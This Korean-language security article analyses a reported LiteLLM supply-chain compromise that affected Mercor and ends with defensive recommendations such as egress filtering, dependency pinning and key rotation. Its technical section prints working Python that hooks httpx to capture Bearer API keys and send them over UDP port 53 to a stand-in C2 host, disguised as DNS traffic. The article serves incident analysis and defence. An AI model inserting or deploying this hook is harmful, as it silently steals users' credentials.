LiteLLM 공급망 침해: Mercor 사이버 공격에서 얻은 교훈

#들어가며
대규모 언어 모델(LLM)의 빠른 도입은 생성형 AI 워크로드를 오케스트레이션, 라우팅, 관리하기 위해 설계된 방대한 도구 생태계를 탄생시켰습니다. 그러나 이제 막 형성되기 시작한 이 인프라는 점차 고도화된 위협 행위자들의 주요 표적이 되고 있습니다. 2026년 3월 31일, AI 채용 스타트업인 Mercor가 중대한 사이버 공격을 공개하면서 이 생태계의 취약성이 여실히 드러났습니다.
이번 침해 사고의 근본 원인은 수백 개의 LLM 제공업체 전반에 걸쳐 API 호출을 표준화하는 널리 사용되는 오픈소스 프로젝트인 LiteLLM과 관련된 공급망 공격이었습니다. 개발자, 인프라 엔지니어, 보안 팀에게 이번 사건은 요란한 경고 사이렌과 같습니다. 이는 서드파티 프록시에 의존하는 것이 얼마나 취약할 수 있는지 강조하며, 우리의 API 키를 관리하도록 설계된 도구 자체가 우리를 공격하는 무기로 돌변했을 때 발생할 수 있는 재앙적인 피해 범위(blast radius)를 증명합니다.
#사건의 전말
공개된 내용과 후속 보안 보고서에 따르면, 이번 침해는 Mercor의 핵심 인프라에 직접적으로 침입한 것이 아니라, 고도로 정교하게 의존성을 노린 전형적인 공급망 공격이었습니다. LiteLLM은 보편적인 I/O 번역 계층으로 기능하며, OpenAI, Anthropic, Google과 같은 제공업체로 요청을 라우팅하는 중앙 집중식 프록시 역할을 합니다.
2026년 3월 말, 악의적인 공격자들은 LiteLLM 저장소 관리자의 자격 증명을 탈취하는 데 성공했습니다. 공격자들은 프로젝트를 훼손하거나 즉각적인 서비스 중단을 일으키는 대신, Python Package Index(PyPI)의 마이너 버전 업데이트와 이에 대응하는 Docker Hub 레지스트리에 트로이 목마 페이로드를 교묘하게 주입했습니다. 이 악성 코드는 로컬 테스트 환경에서는 휴면 상태를 유지하다가, NODE_ENV=production과 같은 특정 환경 변수를 스캔하거나 과도한 동시 부하를 감지하여 프로덕션 환경에서만 실행되도록 치밀하게 제작되었습니다.
대규모의 저지연 AI 면접 분석 및 생성을 처리하기 위해 LiteLLM을 사용하는 Mercor는 일상적인 지속적 배포(CD) 주기 동안 손상된 이미지를 자동으로 가져왔습니다. 활성화된 페이로드는 Mercor의 보안 팀이 비정상적인 네트워크 아웃바운드(egress) 트래픽을 감지하기 전까지 HTTP 요청을 조용히 가로채고, 고도로 권한이 부여된 API 키와 프롬프트 페이로드의 일부를 외부의 명령 및 제어(C2) 서버로 유출했습니다.
#왜 중요한가
Mercor 사건은 "AI 게이트웨이" 내에 얼마나 큰 위험이 집중되어 있는지 보여주기 때문에 AI 인프라 보안에 있어서 분수령이 되는 순간입니다. LiteLLM과 같은 도구는 본질적으로 시스템의 모든 권한, 즉 '왕국의 열쇠'를 쥐고 있도록 설계되었습니다. 제대로 기능하려면 막대한 지출 한도를 가진 고도로 권한이 부여된 자격 증명에 대한 접근이 필연적으로 요구됩니다.
일반적인 웹 의존성이 손상되었을 때의 피해는 컴퓨팅 리소스 탈취(크립토재킹)나 국지적인 데이터 도난에 국한될 수 있습니다. 그러나 AI 프록시가 손상되면 공격자는 제한 없는 API 과금 크레딧에 즉각적으로 접근할 수 있게 되며, 이는 단 몇 시간 만에 조직에 수십만 달러의 비용을 초래할 수 있습니다. 더 심각한 것은 모델을 드나드는 원시 데이터에 접근할 수 있다는 점입니다. 매우 민감한 지원자 인터뷰를 처리하는 Mercor와 같은 기업에게 프롬프트 데이터의 탈취는 심각한 개인정보 침해를 의미합니다.
이 사건은 빠르게 변화하는 오픈소스 AI 생태계에 개발자들이 종종 부여하는 암묵적인 신뢰를 산산조각 냅니다. 이는 위협 행위자들이 기존의 웹 취약점에서 벗어나 최신 AI 애플리케이션의 특정 아키텍처 병목 지점(choke points)으로 초점을 옮기고 있음을 증명합니다.
#기술적 분석
기술적인 관점에서 볼 때 LiteLLM에 대한 공격은 Python의 동적 런타임 기능을 악용한 교과서적인 사례였습니다. 악성 페이로드는 핵심 라우팅 로직을 재작성하지 않았는데, 만약 그랬다면 즉각적인 오류나 단위 테스트 경고가 발생했을 것입니다. 대신 몽키 패칭(monkey-patching) 기술을 활용하여 LiteLLM이 실제 API 호출을 수행하는 데 사용하는 기반 비동기 HTTP 클라이언트(httpx)를 후킹(hook)했습니다.
공격자들은 httpx.AsyncClient.send 메서드를 가로챔으로써 나가는 모든 요청의 헤더를 검사할 수 있었습니다. Authorization: Bearer 헤더가 감지되면, 페이로드는 API 키가 포함된 가벼운 비차단(non-blocking) UDP 패킷을 C2 서버로 비동기적으로 전송했습니다.
다음은 Python 기반 프록시 내에서 이러한 몽키 패칭 공격이 어떻게 작동하는지 보여주는 개념적인 재구성 코드입니다.
import httpx
import threading
import socket
# Retain a reference to the original, unpatched method
_original_send = httpx.AsyncClient.send
async def _malicious_send(self, request, *args, **kwargs):
# Extract headers silently without modifying the request
auth_header = request.headers.get("Authorization")
if auth_header and "Bearer" in auth_header:
# Fire-and-forget exfiltration via UDP to avoid blocking the event loop
def exfiltrate():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Port 53 is used to masquerade as standard DNS traffic
sock.sendto(auth_header.encode(), ("malicious-c2.example.com", 53))
except Exception:
pass
# Run in a background thread to prevent latency spikes
threading.Thread(target=exfiltrate, daemon=True).start()
# Proceed with the legitimate request to avoid suspicion
return await _original_send(self, request, *args, **kwargs)
# Apply the malicious patch at runtime
httpx.AsyncClient.send = _malicious_send
이 접근 방식은 기본 요청의 지연 시간(latency)에 전혀 영향을 주지 않았기 때문에 표준 애플리케이션 성능 모니터링(APM) 시스템을 성공적으로 우회했습니다. 게다가 포트 53(DNS)을 통해 데이터 유출이 발생했기 때문에, 호스트 이름을 확인하기 위해 아웃바운드 DNS 트래픽을 일반적으로 허용하는 기본 이그레스 방화벽 규칙도 성공적으로 회피했습니다.
이 공격은 일반적인 AI 배포 환경에 만연한 두 가지 치명적인 아키텍처 결함 덕분에 성공할 수 있었습니다.
| 취약점 벡터 | 설명 | 이번 사건에서의 악용 방식 |
|---|---|---|
| 관대한 이그레스(Egress) 네트워킹 | 컨테이너가 임의의 IP로 아웃바운드 연결을 시작하도록 허용되는 경우가 많습니다. | 데이터 유출 스크립트가 방해받지 않고 C2 서버와 통신하도록 허용했습니다. |
| 동적 의존성 해결 | 패키지 관리자에서 latest 태그나 고정되지 않은 버전 범위(예: ^1.0.0)에 의존합니다. | CD 프로세스 중에 손상된 버전을 자동으로 가져왔습니다. |
#향후 대응 방안
이번 공격의 여파로 인해 생성형 AI 애플리케이션을 보호하는 방법에 대한 즉각적인 패러다임 전환이 필요해졌습니다. 엔지니어링 팀은 AI 프록시 및 게이트웨이를 ID 제공자(IdP), 핵심 데이터베이스 또는 비밀값 저장소(secrets vault)와 동일한 수준의 엄격한 보안 통제를 받는 Tier-0 인프라로 취급해야 합니다.
즉각적인 대응 및 조치 전략은 다음과 같습니다.
- 엄격한 이그레스 필터링: AI 프록시는 사용 중인 LLM 제공업체의 알려진 정적 IP 대역이나 특정 도메인 이름(예:
api.openai.com,api.anthropic.com)으로만 아웃바운드 트래픽을 허용하는 격리된 네트워크 엔클레이브(예: PrivateLink 또는 엄격한 보안 그룹이 적용된 AWS VPC)에 배포되어야 합니다. - 암호화된 검증: 모든 Python 패키지와 Docker 이미지에 대해 SHA256 해시를 사용하여 엄격한 의존성 고정(dependency pinning)을 구현해야 합니다. 프로덕션 배포에서 유동적인(floating) 태그 사용은 피해야 합니다.
- 키 격리 및 교체: 수명이 긴 마스터 키보다는 수명이 짧고 범위가 제한된 API 키를 사용해야 합니다. 제공업체들은 API에 대해 세분화된 역할 기반 접근 제어(RBAC) 지원을 늘려가고 있으며, 이는 단일 키가 손상되더라도 피해 범위를 엄격하게 제한합니다.
#마치며
LiteLLM의 침해와 그로 인한 Mercor의 공격 피해는 AI 도구의 운영 성숙도가 아직 빠르고 폭발적인 도입 속도를 따라가지 못하고 있다는 뼈아픈 현실을 일깨워줍니다. 우리가 점점 더 강력하고 상호 연결된 AI 시스템을 구축함에 따라 방어 태세 역시 그에 발맞춰 진화해야 합니다. AI 공급망을 보호하는 것은 더 이상 선택적인 모범 사례가 아닙니다. 이는 현대의 생성형 AI 시대에 안전하게 시스템을 운영하기 위한 필수적인 기반 요건입니다.